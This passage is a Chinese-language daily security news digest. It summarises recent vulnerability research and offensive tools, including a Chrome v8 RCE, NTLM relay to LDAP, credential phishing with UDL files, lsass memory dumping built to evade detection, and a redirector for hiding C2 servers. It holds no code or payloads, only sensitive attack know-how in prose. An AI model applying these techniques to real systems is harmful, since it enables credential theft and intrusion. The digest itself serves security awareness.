🏷️: 漏洞, Google Chrome, 远程代码执行, WASM, 类型混淆

0x03 Chrome渲染器中的对象转换至远程代码执行漏洞分析

本文详细分析了 Chrome 中的一个类型混淆漏洞 CVE-2024-5830，该漏洞允许远程代码执行（RCE），并通过对 v8 引擎中对象映射和转换机制的深入探讨，展示了如何利用这一漏洞在 Chrome 渲染器沙箱中实现代码执行。

热评

• Chrome 渲染器沙箱漏洞 CVE-2024-5830 导致远程代码执行
• 浏览器漏洞利用：利用JavaScript触发内存管理错误实现代码执行

关键信息点

• 类型混淆漏洞 CVE-2024-5830：该漏洞源于 v8 引擎中对象 map 的更新过程中出现的类型混淆，允许攻击者在 Chrome 渲染器沙箱中执行任意代码。
• 对象映射和转换机制的复杂性：v8 引擎中的对象映射和转换是优化属性访问的关键，但同时也是引入安全漏洞的潜在来源。
• 字典 map 的意外创建：当对象的属性类型发生变化，且原有 map 无法容纳新的属性转换时，会创建一个字典 map，这在某些情况下可能导致类型混淆。
• v8 堆内存的任意读写：通过控制对象的 map 更新过程，可以实现 v8 堆内存的任意读写，这是利用漏洞实现代码执行的关键步骤。

🏷️: Chrome, RCE, 类型混淆, v8引擎, 漏洞分析

0x04 远程禁用Windows事件日志的0day漏洞及免费微补丁

网页主要介绍了一个名为 \"EventLogCrasher\" 的 Windows 事件日志服务远程攻击手段，以及提供了一个免费的微补丁来修复这一 0day 漏洞。

<<<左右滑动见更多 >>>

热评

• EventLogCrasher 0day 漏洞依然有效，可停止所有域电脑的 Windows 事件日志
• 0patch：修复旧漏洞，顺便还能防0day漏洞

关键信息点

• 任何能够进行身份验证的用户都可以利用 \"EventLogCrasher\" 漏洞远程崩溃 Windows 事件日志服务，这对于系统的安全性和可靠性构成了严重威胁。
• Windows 事件日志服务的崩溃会影响到事件的记录和转发，尤其是在第三次崩溃后服务不再自动重启的情况下。
• 即使在事件日志服务停止的情况下，安全和系统事件仍然会被暂时存储，直到服务恢复，这可能会影响攻击者的行动不被记录。
• 微补丁提供了一种快速、无需重启计算机的解决方案，可以防止漏洞的利用，保护系统免受攻击。

🏷️: Windows, 漏洞, 补丁, 事件日志, 远程攻击

0x05 揭秘#GrimResource：滥用MSC文件格式

网页主要介绍了如何利用MSC文件格式通过微软管理控制台（MMC）实现代码执行，以及Outflank Security Tooling（OST）团队在这一领域的研究和开发。

热评

• 揭秘 GrimResource：Elastic 安全团队与红队的攻防博弈
• GrimResource：Elastic揭示利用MSC文件进行初始访问的技术

关键信息点

• MSC文件格式可以被利用来通过MMC执行任意代码，这是一种对抗受限环境中的安全措施（如AppLocker、PowerShell的受限语言模式、WDEG限制和ASR规则）的有效方法。
• Outflank团队在MSC文件格式的研究上取得了进展，发现了一种新的技术，可以在不启动子进程的情况下在MMC中执行代码。
• 尽管MSC文件格式的某些技术被认为太危险，不适合公开披露，但Outflank团队认为分享研究成果对于提高红队能力和组织的安全防御能力至关重要。
• 网页强调了红队模拟和安全检测规则的重要性，并提供了对MSC文件格式利用方法的技术细节。

🏷️: MSC文件格式, 代码执行, 微软管理控制台, Outflank Security Tooling, 安全研究

0x06 NTLM Relay攻击：网络入侵的终极手段

网页主要介绍了NTLM Relay攻击在Active Directory环境中的危害，特别是通过LDAP进行的攻击方式，以及如何通过WebClient服务来诱导目标进行HTTP认证，从而实现对LDAP的NTLM Relay攻击，以及攻击后的后期利用技术。

<<<左右滑动见更多 >>>

热评

• NTLM 中继攻击到 LDAP(S) 的详细分析
• NTLM 继电攻击：从 WebClient 欺骗到设备接管

关键信息点

• NTLM Relay攻击对Active Directory环境构成严重威胁，可能导致任意设备的权限提升，甚至整个域的妥协。
• LDAP是Active Directory的核心组件，通过对LDAP的NTLM Relay攻击，攻击者可以实现对域的控制。
• 攻击链路分为诱导、传输和后期利用，每个阶段都需要特定的条件和技术。
• WebClient服务是诱导HTTP认证的关键，它可以绕过SMB和LDAP之间的协议不兼容问题。

🏷️: NTLM, LDAP, Active Directory, 网络攻击, 认证安全

0x07 Android Jetpack导航库深层次安全漏洞

Android Jetpack Navigation库存在深层次的安全漏洞，可能允许攻击者绕过正常的屏幕流程直接访问应用内的任意页面。

<<<左右滑动见更多 >>>

热评

• 利用隐式深层链接劫持用户会话：Android Jetpack Navigation 安全指南
• 深入探索 Android Jetpack Navigation

关键信息点

• Jetpack Navigation库中的深度链接机制可能会被恶意利用，导致应用的安全性受损。
• 即使开发者没有在应用中声明深度链接，Navigation库自动生成的内部深度链接也可能被攻击者利用。
• Google对于这一问题的文档警告不够充分，未能全面反映潜在的安全风险。
• 开发者应该谨慎使用Jetpack Navigation库，并考虑自己实现导航逻辑以确保应用的安全性。

🏷️: Android, Jetpack, 导航库, 安全漏洞, 隐式深层链接

0x08 Lil Pwny 3.2.0更新：优化Active Directory密码审计

Lil Pwny 3.2.0 发布，为主动目录密码审计工具带来了显著的增强，包括对有 I been pwned 密码数据库的本地审计、标准输出的美化和功能增强、自定义密码列表的扩展生成方法、识别用户名与密码相同的账户以及过滤 Active Directory 输出的功能。

热评

• Lil Pwny 3.2.0 更新：简化 Active Directory 密码审计

关键信息点

• 本地审计：Lil Pwny 3.2.0 支持本地审计，提高了安全性，避免了敏感数据的泄露风险。
• 用户体验改进：通过对标准输出的美化和功能增强，提升了用户的使用体验。
• 自定义密码列表增强：通过生成常见变体，提高了对自定义密码列表的审计效率和准确性。
• 账户安全风险识别：新增的功能能够识别出用户名与密码相同的账户，帮助管理员识别高风险账户。

🏷️: 密码审计, Active Directory, 更新, 网络安全

0x09 利用UDL文件进行网络钓鱼攻击的新技术

这篇文章介绍了一种利用UDL（Universal Data Link）文件进行网络钓鱼攻击的新技术。

热评

• 发现钓鱼攻击有效载荷：来自传统知识的收获
• 新型钓鱼攻击利用UDL文件

关键信息点

• UDL文件可以作为一种新的网络钓鱼手段：通过发送UDL文件附件，攻击者可以诱使用户泄露凭证或哈希值。
• UDL文件的工作原理：UDL文件是一个文本文件，可以配置数据库连接信息，包括服务器名称、认证方式和数据库选择等。
• 利用UDL文件捕获NetNTLMv2哈希值：攻击者可以通过诱使用户尝试连接到一个恶意的SQL服务器来捕获哈希值。
• 调整UDL文件的端口以绕过防火墙规则：通过将UDL文件中的端口从1433改为更常见的端口（如80），可能会增加绕过防火墙的成功率。

🏷️: 网络钓鱼, UDL文件, 攻击技术

0x0a Copy2Pwn漏洞绕过Windows网络保护

Zero Day Initiative 的威胁研究员发现了 CVE-2024-38213，一种简单有效的方法，可以绕过 Windows 的网络标记保护（Mark-of-the-Web, MotW），导致远程代码执行。这种新型攻击手段被称为 copy2pwn，它利用了 WebDAV 分享文件在复制到本地时没有应用 MotW 的漏洞。

<<<左右滑动见更多 >>>

热评

• CVE-2024-38213 漏洞利用绕过 Windows 网络保护
• 微软修复高危漏洞CVE-2024-38213，已被攻击者利用

关键信息点

• WebDAV 分享文件的复制粘贴操作可能会绕过网络标记保护，导致远程代码执行的风险。
• 网络标记保护对于防止未知来源的文件执行至关重要，它是 Windows Defender SmartScreen 和 Microsoft Office 受保护视图等安全功能的基础。
• 威胁行为者利用 WebDAV 分享和精心设计的搜索查询来诱导用户执行恶意代码。
• Windows 操作系统在处理来自 WebDAV 分享的文件时存在多个绕过网络标记保护的漏洞，这些漏洞已被微软修复。

🏷️: CVE-2024-38213, Copy2Pwn, Windows, WebDAV, 远程代码执行

0x0b 结合历史泄露与CSS的水坑攻击

本文探讨了结合历史泄露和CSS的水坑攻击方法，即使这些技术已经很老，但仍然有效。

<<<左右滑动见更多 >>>

热评

• 利用CSS历史记录泄露结合水坑攻击
• 利用CSS结合水坑攻击，窃取历史数据

关键信息点

• 客户端攻击技术虽然老旧，但仍然有效：文章指出，尽管所讲述的技术已经存在多年，但它们在现代安全环境中仍然具有攻击价值。
• 字符集对XSS攻击的影响：通过讨论编码差异，文章强调了缺失字符集属性如何导致XSS漏洞，并提到了历史上的一些相关案例。
• 历史泄露作为精准攻击的手段：通过检测用户访问过的网站，攻击者可以更精确地识别和攻击高价值目标。
• CSS样式的运用：文章展示了如何利用CSS样式来实现对用户历史记录的检测，并通过实例代码演示了这一过程。

🏷️: 水坑攻击, 历史泄露, CSS, 网络安全

0x0c GitHub项目ggerganov/llama.cpp中的rpc_server::get_tensor功能存在任意地址读取漏洞

GitHub 上 ggerganov/llama.cpp 项目的 rpc_server::get_tensor 功能存在任意地址读取漏洞，可能导致信息泄露，并且已被证实可以与另一个任意地址写入漏洞结合实现远程代码执行（RCE）。

热评

• 「编者注」:360 老哥挖的 llama_cpp_python rpc 的 rce.

关键信息点

• 该漏洞源于 g 指针的不安全处理，允许用户控制，进而导致任意地址读取。
• 漏洞的危险性在于它不仅可以被用于信息泄露，还可以与其他漏洞相结合，实现更严重的攻击，如远程代码执行（RCE）。
• 漏洞发现者已经提供了一个详细的漏洞利用示例，包括如何构建、复现以及实际的攻击效果。
• 该漏洞的存在强调了在软件开发中进行安全审查和测试的重要性，特别是在处理用户输入和内存操作时。

🏷️: 漏洞, 信息泄露, 远程代码执行, GitHub

0x0d 恶意签名注入：利用Evil Signatures远程删除数据库和邮箱

网页主要讨论了如何利用恶意签名（Evil Signature）远程删除数据库、邮箱和日志文件，通过将特定的恶意签名注入到系统中，诱使端点检测和响应（EDR）系统误以为这些文件是高危性病毒，从而导致EDR系统自动删除这些文件。

<<<左右滑动见更多 >>>

热评

• 恶意签名注入：远程删除数据库、邮箱和日志文件
• 恶意签名注入：利用恶意签名远程删除数据库、邮箱和日志文件

关键信息点

• 攻击者可以利用EDR系统的检测机制来删除特定文件：通过将恶意签名注入到系统中，可以诱使EDR系统将包含这些签名的文件误认为是高危性病毒，从而导致自动删除这些文件。
• 恶意签名注入技术适用于多种场景：文章提供了多个实际案例，展示了这种技术如何应用于删除Web服务器日志、FTP用户名、邮箱、系统日志、EDR系统日志、Splunk日志以及数据库文件。
• 客户端也可能受到这种攻击：攻击者可以通过客户端攻击向量，如CSRF、XSS、SSRF等，将恶意签名注入到客户端系统中，导致客户端的文件被错误地删除。
• 对于这种攻击的认识和应对：尽管这种攻击技术已经被报告并得到了修复，但需要持续关注，因为任何特权软件都可能受到恶意签名注入的攻击，这可能导致严重的安全问题。

🏷️: 恶意软件, EDR系统, 数据安全

0x0e Python脚本模拟IPv6数据包处理漏洞

网页内容主要展示了一个Python脚本，该脚本模拟了IPv6数据包处理过程中的一个整数下溢漏洞（CVE-2024-38063）。

热评

• CVE-2024-38063 漏洞利用分析
• CVE-2024-38063 漏洞利用分析：无需蓝屏攻击

关键信息点

• CVE-2024-38063.py脚本旨在展示IPv6数据包处理中的整数下溢漏洞。
• 漏洞存在于process_packet方法中，该方法没有检查整数下溢，并且使用了未检查的total_length来写入缓冲区，可能导致缓冲区溢出。
• 通过创建一个具有极大扩展头部长度的恶意数据包，可以触发整数下溢，从而可能导致程序崩溃。
• 脚本中的注释清晰地指出了漏洞的位置和可能的危险操作，如未检查的缓冲区写入。

🏷️: Python, IPv6, 漏洞, GitHub

0x0f BounceBack：红队操作安全的隐蔽重定向工具

BounceBack 是一个用于红队运营安全的隐蔽重定向工具，它是一个高度可配置和定制化的反向代理，具有 Web 应用程序防火墙（WAF）功能，能够通过实时流量分析和多种过滤器组合隐藏 C2/钓鱼等基础设施，防止蓝队、沙箱、扫描器等非法访问。

热评

• BounceBack: 红队行动的隐形重定向工具
• BounceBack：红队操作的安全隐蔽重定向工具

关键信息点

• 隐藏基础设施：BounceBack 的主要目的是隐藏红队的攻击基础设施，防止被蓝队等安全机构检测。
• 高度可配置：工具提供了丰富的配置选项，包括过滤器管道、规则组合、IP 地理位置检查等，以满足不同的操作需求。
• 易于扩展：BounceBack 的项目结构允许用户轻松添加自定义规则和协议，以适应特定的 C2 或操作场景。
• 流量分析：通过实时流量分析和多层次的过滤器，BounceBack 能够有效地识别和拒绝非法流量。

🏷️: 红队, 隐蔽重定向, 反向代理, WAF, 流量分析

0x10 SpoofDPI：一款快速绕过深度包检测的软件

SpoofDPI 是一个简单快速的软件，旨在绕过深度数据包检测（DPI）。

热评

• Go语言编写的简单快速反审查工具
• SpoofDPI: 反审查利器，像鲨鱼一样在网络中穿梭

关键信息点

• SpoofDPI 的设计目的是绕过 DPI，特别是针对 TLS 握手过程中的客户端请求。
• 软件支持多种操作系统和架构，提供了灵活的安装和使用方式。
• SpoofDPI 通过将客户端请求的第一个字节单独发送的方法，来避免 DPI 的检测。
• 尽管 HTTPS 通信大多数情况下能够隐藏请求细节，但客户端请求中的域名信息仍然以明文形式出现，可能会被 DPI 检测到。

🏷️: DPI绕过, 网络安全, 软件工具, GitHub项目

0x11 CVE-2024-7646：Ingress-NGINX注解验证绕过漏洞深度解析

CVE-2024-7646 是一种影响流行的 Kubernetes 组件 ingress-nginx 的安全漏洞，允许攻击者绕过注解验证，可能导致对敏感集群资源的未授权访问，该漏洞的 CVSS v3.1 基础分数为 8.8（高）。

热评

• Ingress-NGINX 出现漏洞 CVE-2024-7646: 注解验证绕过
• Ingress-NGINX 漏洞CVE-2024-7646：注解验证绕过

关键信息点

• Ingress-nginx 是一个流行的 Kubernetes ingress 控制器，用于管理集群内服务的外部访问，充当反向代理和负载均衡器。
• 该漏洞的严重性体现在，它可能导致对集群的完全破坏，包括对机密性、完整性和可用性的影响。
• 尤其对于多租户环境和缺乏适当访问控制的集群来说，这个漏洞危险性极高。
• 攻击者可以通过创建包含特殊注解的恶意 Ingress 对象来利用这一漏洞，从而绕过验证并执行任意命令。

🏷️: Kubernetes, ingress-nginx, 漏洞, 安全

0x12 Linux内核修复Landlock安全漏洞

Mickaël Salaün 报告了 Landlock 的安全漏洞（CVE-2024-42318），该漏洞允许进程逃逸沙箱并绕过限制，已在 Linux 6.11-rc1 中修复，并已回退到多个版本的 Linux 内核。

热评

• Landlock 漏洞 CVE-2024-42318 允许进程逃逸沙箱

关键信息点

• Landlock 漏洞（CVE-2024-42318）: 该漏洞允许进程逃逸沙箱，已得到修复和测试，确保不会再次发生。
• 内核更新的重要性: 修复漏洞只需更新内核，而不需要更新沙箱程序。
• Landlock 的作用: Landlock 是一种深度防御机制，增强了系统的安全性，但不应作为唯一的安全层。
• 安全机制的叠加: 通过 seccomp 过滤器等技术可以进一步减少任意代码执行和系统调用的风险。

🏷️: Linux, 安全漏洞, Landlock, 内核修复

0x13 Windows Secure Channel RCE漏洞CVE-2024-38148详解

网页主要介绍了 Windows Secure Channel 中的一个Use-After-Free（UAF）漏洞（CVE-2024-38148），该漏洞可能被利用实现远程代码执行。

<<<左右滑动见更多 >>>

热评

• Windows 安全通道 RCE 分析：MSRC 认定为拒绝服务
• Windows Secure Channel 远程代码执行漏洞 CVE-2024-38148 简介

关键信息点

• 微软官方对 CVE-2024-38148 的定义为 DoS 问题可能不完全准确，实际上是一个 UAF 漏洞。
• 通过补丁对比，可以发现补丁的作用是屏蔽了某个字段的赋值操作，这一点是防止漏洞利用的关键。
• UAF 问题的产生是因为在 CSsl3TlsContext::CSsl3TlsContext 函数中未能更新 M1 的第一个字段，导致该字段仍然指向已释放的 a2 结构体。
• 实际测试确认了 CTls13ServerContext::CleanupConnectedState 函数中存在 UAF 问题，这可能导致远程代码执行。

🏷️: Windows, 漏洞, RCE, Secure Channel, UAF

2024-08-12 「红蓝热点」每天快人一步

1. 推送「新、热、赞」，帮部分人阅读提效
2. 学有精读浅读深读，艺有会熟精绝化，觉知此事重躬行。推送只在浅读预览
3. 机读为主，人工辅助，每日数万网站，10w推特速读
4. 推送可能大众或小众，不代表本人偏好或认可
5. 因渲染和外链原因，公众号甲方安全建设发送日报或日期,如20240812获取图文评论版pdf

目录

0x01 【2024-0806】使用SeTcbPrivilege特权进行令牌操作教程
0x02 【2024-0807】Kibana发布紧急安全补丁修复严重漏洞
0x03 【2024-0808】揭秘有效的网络定时攻击
0x04 【2024-0808】利用电子邮件解析漏洞绕过访问控制
0x05 【2024-0808】GhostWrite漏洞利用演示
0x06 【2024-0808】0.0.0.0 Day漏洞：浏览器中利用本地主机API
0x07 【2024-0809】统治所有漏洞：利用Windows预认证RCE漏洞
0x08 【2024-0809】MaLDAPtive：LDAP搜索过滤器解析与混淆框架
0x09 【2024-0809】OpenVPN漏洞被发现可导致远程代码执行和权限提升
0x0a 【2024-0809】Apache HTTP服务器中的混淆攻击漏洞分析
0x0b 【2024-0812】深入探讨Windows DLL加载机制
0x0c 【2024-0812】TrickDump：无Minidump文件的lsass进程内存抓取工具
0x0d 【2024-0812】Django SQL 注入漏洞曝光
0x0e 【2024-0812】代码注入工具实现权限提升
0x0f 【2024-0812】Windows远程桌面许可服务漏洞分析
0x10 【2024-0812】L4LB四层负载均衡中的IP伪造漏洞详解

0x01 使用SeTcbPrivilege特权进行令牌操作教程

PowerOfTcb网站主要介绍了如何使用SeTcbPrivilege特权进行令牌操作，包括会话ID、源、强制策略和完整性级别的操作，以及如何使用LSA家族API创建特殊的登录令牌和新的SID映射，并提供了多个工具来演示这些操作。

<<<左右滑动见更多 >>>

热评

• SeTcbPrivilege 漏洞研究工具开源
• SeTcbPrivilege 漏洞工具开源

关键信息点

• SeTcbPrivilege是一个多功能特权，可以用于各种令牌操作，包括但不限于会话ID、源、强制策略和完整性级别的修改。
• 使用SeTcbPrivilege可以创建特殊的登录令牌和新的SID映射，这通常需要LSA家族API。
• 在创建具有特定令牌的进程时，CreateProcessAsUser和CreateProcessWithTokenW API是首选的方法。
• 作者提供的工具CreateGUISessionProcess、BackgroundShell、DesktopShell、S4ULogonShell、ServiceShell和VirtualShell，都是用来演示特权和令牌操作的实际应用。

🏷️: SeTcbPrivilege, 令牌操作, 会话ID, 强制策略, 完整性级别

0x02 Kibana发布紧急安全补丁修复严重漏洞

Elastic团队发布了一个关键的安全更新，用于修复Kibana中的严重漏洞CVE-2024-37287，该漏洞可能导致任意代码执行。

热评

• 紧急修复！Kibana 严重安全漏洞 CVE-2024-37287 (CVSS 9.9)
• 紧急修复！Kibana严重漏洞CVE-2024-37287

关键信息点

• CVE-2024-37287漏洞危害性极高：该漏洞被评为CVSS评分9.9，表明其对Kibana用户的威胁潜力非常大。
• 原型污染漏洞可能导致任意代码执行：攻击者可以通过访问机器学习和警报连接器功能，以及对内部机器学习索引的写入访问权限，利用原型污染漏洞执行任意代码。
• 多种部署方式受到影响：包括自管理安装、Docker镜像、Elastic Cloud、ECE和ECK等部署方式都可能受到此漏洞的影响。
• 立即升级至最新版本的重要性：用户应立即升级到Kibana 8.14.2或7.17.23版本，以保护自己免受潜在的攻击。

🏷️: Kibana, 漏洞, 安全更新, 代码执行, Elastic

0x03 揭秘有效的网络定时攻击

本文介绍了如何利用网络定时攻击来揭露服务器的隐藏信息，包括错误配置、盲注入漏洞、隐藏路由以及广泛的隐藏攻击面。

<<<左右滑动见更多 >>>

热评

• 揭秘：有效的网页计时攻击白皮书发布
• 网络计时攻击：利用 JSON 错误实现超高速响应

关键信息点

• 定时攻击的实用性：网络定时攻击不再是理论上的威胁，而是一个实际可行的攻击手段，可以在野外环境中准确地检测到服务器的隐藏问题。
• 定时攻击的普遍性：服务器上存在大量的定时信息泄露漏洞，这些漏洞普遍存在于现代网站中，且往往被忽视。
• 定时攻击的进步：随着技术的进步，如HTTP/2协议的应用和单包攻击技术的发展，定时攻击变得更加精确和高效。
• 定时攻击的多样性：定时攻击可以用于发现多种类型的安全问题，包括但不限于隐藏参数、注入漏洞、错误配置和反向代理漏洞。

🏷️: 网络攻击, 服务器安全, 漏洞利用

0x04 利用电子邮件解析漏洞绕过访问控制

<<<左右滑动见更多 >>>

热评

• 电子邮件地址RFC规范：为何不应遵循？
• 利用解析器漏洞绕过访问控制：拆解邮件原子

关键信息点

• 电子邮件解析的复杂性：电子邮件地址的格式由多个RFC规定，这些规定过于宽松，导致解析变得复杂，容易出现差异。
• 解析器差异的利用：不同的电子邮件解析器可能会对同一电子邮件地址进行不同的解析，这种差异可以被恶意利用来绕过访问控制。
• 编码单词和Punycode的风险：电子邮件地址中的编码单词和Punycode可以被用来欺骗解析器，产生不可见的字符或者伪装成其他域名。
• 访问控制的脆弱性：依赖电子邮件域名进行访问控制是不安全的，因为攻击者可以通过各种技术来伪造或操纵电子邮件地址。

🏷️: 电子邮件安全, 访问控制, 漏洞利用

0x05 GhostWrite漏洞利用演示

GhostWrite 是 RISC-V 架构下的 T-Head XuanTie C910 CPU 中的一个硬件缺陷，该缺陷允许未授权的攻击者直接写入物理内存，绕过操作系统的进程隔离，导致设备安全性受到严重威胁。

<<<左右滑动见更多 >>>

热评

• 「编者注」:阿里巴巴 玄铁 CPU 被干了？直接cpu漏洞逃逸虚拟机
• GhostWrite CPU 漏洞：打破隔离边界，影响 RISC-V 处理器

关键信息点

• RISC-V 架构的开放性促进了生态系统的繁荣，但同时也可能带来了安全风险，如 GhostWrite 这样的硬件缺陷。
• GhostWrite 揭示了硬件级别的安全问题，这种缺陷无法通过软件更新来修复，强调了硬件安全性的重要性。
• 差分 CPU 模糊测试是一种有效的方法来发现 CPU 实现中的差异和漏洞。
• 对于云服务提供商和用户来说，了解自己的硬件基础设施是至关重要的，特别是在使用开放 ISA 如 RISC-V 时。

🏷️: GhostWrite, 漏洞利用, 内核修改, root权限

0x06 0.0.0.0 Day漏洞：浏览器中利用本地主机API

Oligo Security 研究团队披露了“0.0.0.0 Day”漏洞，这一漏洞允许恶意网站绕过浏览器安全机制，与本地网络上的服务交互，可能导致攻击者远程执行代码。

<<<左右滑动见更多 >>>

热评

• 关于 0.0.0.0 日
• 从浏览器利用本地主机 API

关键信息点

• 浏览器的安全机制实现不一致和缺乏标准化是“0.0.0.0 Day”漏洞存在的根本原因。
• 0.0.0.0 Day 漏洞的存在使得恶意网站能够攻击本地服务，包括开发环境、操作系统和内部网络。
• 各主流浏览器正在努力缓解这一漏洞，但由于缺乏统一标准和复杂的补丁过程，漏洞目前仍然可以被利用。
• PNA（Private Network Access）是 Google 领导的一个重要努力，旨在改进和加强浏览器对私有网络访问的控制。

🏷️: 漏洞, 浏览器安全, 本地网络, 远程执行代码

0x07 统治所有漏洞：利用Windows预认证RCE漏洞

该网页揭示了 Windows 远程桌面服务中的一个严重漏洞，即 CVE-2024-38077，这是一个堆溢出漏洞，可以实现无需认证的远程代码执行（Preauth RCE），影响从 Windows Server 2000 到 2025 的所有版本。作者通过分析和漏洞利用的示例，展示了如何在 Windows Server 2025 上利用这一漏洞来实现 0-click RCE，并强调了这一漏洞的严重性和修复的紧迫性。

热评

• MadLicense：利用0点击预授权RCE漏洞攻击Windows服务器
• 微软低估严重漏洞：Windows Server 0-Click RCE 漏洞需引起重视

关键信息点

• CVE-2024-38077 漏洞的严重性：作者认为该漏洞极其严重，因为它允许攻击者在不需要任何用户交互的情况下远程执行代码，这违反了 Microsoft 对该漏洞不易被利用的评估。
• 漏洞的普遍影响：该漏洞影响了从 Windows Server 2000 到 2025 的所有版本，这意味着大量的服务器可能面临着被利用的风险。
• 漏洞利用的可行性：作者通过提供的伪代码示例和利用成功率的数据，证明了该漏洞的利用是可行的，并且成功率非常高。
• 安全措施的重要性：文章强调了实施安全措施的重要性，包括及时更新系统、使用最新的安全补丁以及监控可能的异常行为。

🏷️: Windows, 远程代码执行, 漏洞利用, 网络安全, 预认证

0x08 MaLDAPtive：LDAP搜索过滤器解析与混淆框架

MaLDAPtive 是一个专门用于 LDAP SearchFilter 解析、混淆、解混淆和检测的框架，它提供了一个定制的 C# LDAP 解析器和一个灵活的 PowerShell 封装，以支持最大程度的随机化和管道功能。

<<<左右滑动见更多 >>>

热评

• MaLDAPtive框架：LDAP搜索过滤器解析、混淆、解混淆和检测
• Black Hat 和 Defcon 会议精彩回顾

关键信息点

• MaLDAPtive 的开发团队强调了对于防御者在面对 LDAP 相关威胁时的需求，通过分阶段的框架发布，他们希望防御者能够有足够的时间来设置必要的监控和检测规则。他们认为，通过提供一个完整的框架，可以帮助安全专业人员更好地理解和应对 LDAP SearchFilter 的混淆技术。MaLDAPtive 的设计理念是提供一个强大、灵活且易于使用的工具，以便在实际操作中能够快速响应和检测恶意的 LDAP SearchFilter。此外，开发者还强调了在实验室环境中收集 LDAP 遥测的重要性，并提供了一个用于安装、配置和查询 LDAP 遥测的模块，以帮助安全研究人员在不影响生产环境的情况下进行测试。

🏷️: LDAP, 解析器, 混淆, 网络安全, C#

0x09 OpenVPN漏洞被发现可导致远程代码执行和权限提升

微软研究人员发现了多个OpenVPN中等严重性的漏洞，这些漏洞可以被链式利用以实现远程代码执行（RCE）和本地权限提升（LPE），可能导致数据泄露、系统被破坏和未授权访问敏感信息。

热评

• 微软威胁情报博客发布关于漏洞利用的最新文章
• 微软发现OpenVPN多个漏洞，可导致远程代码执行和本地提权

关键信息点

• OpenVPN是一个广泛使用的开源VPN解决方案，被集成到各种设备中，包括路由器、固件、PC、移动设备等。
• 攻击者需要用户认证和对OpenVPN内部工作机制以及操作系统的深入了解来利用这些漏洞。
• 微软在Black Hat USA 2024上展示了这些漏洞的研究成果和攻击链的演示。
• 微软提供了关于如何修补这些漏洞以及如何减轻和检测试图利用这些漏洞的威胁的指导。

🏷️: OpenVPN, 漏洞, 远程代码执行, 权限提升, 数据泄露

0x0a Apache HTTP服务器中的混淆攻击漏洞分析

本文主要探讨了Apache HTTP Server中存在的Confusion Attacks，即利用模块间对请求处理结构的理解不一致进行的攻击，并揭示了多个漏洞和利用技术。

<<<左右滑动见更多 >>>

热评

• Apache HTTP 服务器中的语义混淆攻击：利用隐藏的歧义

关键信息点

• Apache HTTP Server的模块化设计带来了安全风险：由于模块间对请求处理结构的理解不一致，攻击者可以利用这一点进行Confusion Attacks。
• Filename Confusion攻击：模块间对r->filename的理解不一致，可以导致安全问题，例如通过?截断RewriteRule后面的路径或网址，或者误导RewriteFlag的设置。
• DocumentRoot Confusion攻击：模块间对DocumentRoot的理解不一致，可以导致认证和访问控制绕过，例如利用Files语法和mod_proxy的交互。
• Handler Confusion攻击：利用Apache HTTP Server从1996年开始就存在的技术债，如AddHandler和AddType的混淆使用，攻击者可以调用任意的模块处理器。

🏷️: 攻击, 服务器, 漏洞, Apache HTTP Server, 网络安全

0x0b 深入探讨Windows DLL加载机制

这个网站的主要内容是关于Windows动态链接库（DLL）加载机制的深入研讨会，教授参与者如何构建自己的DLL加载器，并深入了解DLL加载过程中的内部结构和依赖解析。

热评

• Defcon 32 研讨会：构建完美 DLL 加载器
• Defcon32 Workshop：打造完美的DLL加载器

关键信息点

• Windows DLL加载机制是系统中的核心组件，对于安装、运行、使用或破解系统都至关重要。
• DLL加载过程涉及复杂的内部结构和依赖解析，这些知识对于恶意软件开发者和安全研究人员都是宝贵的。
• 构建自己的DLL加载器需要深入理解Windows内部和WIN32API，以及对C语言编程和逆向工程的熟练掌握。
• 研讨会提供了详细的技术要求和目录结构，以便参与者能够有效地完成活动并学习构建DLL加载器的技能。

🏷️: Windows, DLL, 加载机制, 研讨会, 编程

0x0c TrickDump：无Minidump文件的lsass进程内存抓取工具

TrickDump 是一个允许在不生成 Minidump 文件的情况下，抓取 lsass 进程内存的工具，它生成三个 JSON 文件和一个包含内存区域转储的 zip 文件。

<<<左右滑动见更多 >>>

热评

• TrickDump：无需生成内存转储文件即可转储 lsass
• TrickDump：无需生成内存转储文件即可转储 lsass

关键信息点

• TrickDump 的设计目的是在不引起过多安全警报的情况下，安全地转储 lsass 进程的内存。
• 该工具的优势在于不会在磁盘、内存或网络流量中产生有效的 Minidump 文件，降低了被检测到的风险。
• TrickDump 通过分离攻击步骤，使用三个独立的程序来执行不同的任务，进一步降低了被检测的可能性。
• 该工具支持多种方法来覆盖 ntdll.dll 库，以防止 API 钩子的检测。

🏷️: 网络安全, 工具, 内存抓取, lsass进程

0x0d Django SQL 注入漏洞曝光

GitHub 安全数据库披露了 Django 存在的 SQL 注入漏洞（CVE-2024-42005），影响 Django 版本 5.0 之前的 5.0.8 以及 4.2 之前的 4.2.15。该漏洞源于 QuerySet.values() 和 values_list() 方法在模型中包含 JSONField 时的处理不当，可通过传递包含恶意 JSON 对象密钥的参数来利用。

热评

• Django QuerySet 方法存在 SQL 注入漏洞
• Django SQL 注入漏洞 CVE-2024-42005

关键信息点

• Django 存在 SQL 注入漏洞：CVE-2024-42005 揭示了在某些版本的 Django 中，QuerySet.values() 和 values_list() 方法存在安全漏洞。
• 影响版本范围：受影响的版本包括 Django 5.0 之前的 5.0.8 和 4.2 之前的 4.2.15。
• 漏洞来源：漏洞是由于在模型中使用 JSONField 时，这些方法对传递的参数处理不当。
• 修复措施：Django 已经发布了修复版本，分别是 5.0.8 和 4.2.15，以解决该问题。

🏷️: Django, SQL注入, 漏洞, GitHub, 安全

0x0e 代码注入工具实现权限提升

该网页提供了两种代码注入工具，分别用于通过OfficeClickToRun服务和Shim数据结构实现权限提升和无需注册新SDB文件即可注入DLL。

热评

• DEFCON 32 演讲分享：工具源代码已公开
• DEFCON 32演讲分享工具源码公开

关键信息点

• Office Injector 利用OfficeClickToRun服务的RPC方法，可以实现权限提升，将DLL注入到SYSTEM权限的进程中。
• Shim Injector 通过内存中的Shim数据结构操作，实现了不依赖于SDB文件的DLL注入方法。
• 这些工具的使用可能涉及到安全风险，因为它们能够绕过正常的系统权限控制，进行代码注入。
• 提到的技术和方法可能被用于恶意软件和攻击中，因此对于系统安全和恶意代码检测具有重要意义。

🏷️: 代码注入, 权限提升, OfficeClickToRun, Shim数据结构

0x0f Windows远程桌面许可服务漏洞分析

网页主要分析了Windows远程桌面许可证服务中的一个安全漏洞，并详细介绍了漏洞的原理、修复前后的代码差异，以及如何构造PoC来利用该漏洞。

<<<左右滑动见更多 >>>

热评

• 「编者注」:赛博昆仑的一个小哥，之前写的分析和demo. 该rpc的相关检测和特征点，其实上个月补丁日，就有不少国外公司发了的.

关键信息点

